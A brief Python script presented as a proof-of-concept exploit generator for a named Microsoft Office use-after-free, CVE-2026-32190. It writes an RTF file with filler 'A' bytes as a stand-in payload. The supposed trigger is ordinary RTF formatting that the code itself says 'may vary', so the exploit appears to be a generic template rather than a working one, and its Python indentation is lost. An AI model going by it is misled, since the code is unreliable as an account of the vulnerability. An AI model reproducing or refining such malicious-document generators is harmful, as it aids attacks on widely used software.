The following code is for security research and authorized testing only.
python
import struct
# Conceptual PoC for CVE-2026-32190 (Microsoft Office UAF)
# This script generates a malformed file structure designed to trigger the Use-After-Free condition.
def generate_poc_file(filename):
# RTF header
header = b"{\\rtf1\\ansi\\ansicpg1252\\deff0\\nouicompat\\deflang1033"
# Malicious payload intended to occupy the freed memory
# In a real exploit, this would contain ROP chains or shellcode
evil_payload = b"A" * 0x1000
# Control words to manipulate the parser state and cause the free operation
# Specific tags may vary based on the actual vulnerability trigger
trigger_free = b"{\\*\\generator Malformed_Generator;}\\viewkind4\\uc1\\pard\\f0\\fs20"
# Trigger the use-after-free by referencing the freed object
trigger_uaf = b"\\objattph " + evil_payload + b"}"
rtf_content = header + trigger_free + trigger_uaf
with open(filename, 'wb') as f:
f.write(rtf_content)
print(f"[+] PoC file generated: {filename}")
if __name__ == "__main__":
generate_poc_file("cve_2026_32190_poc.rtf")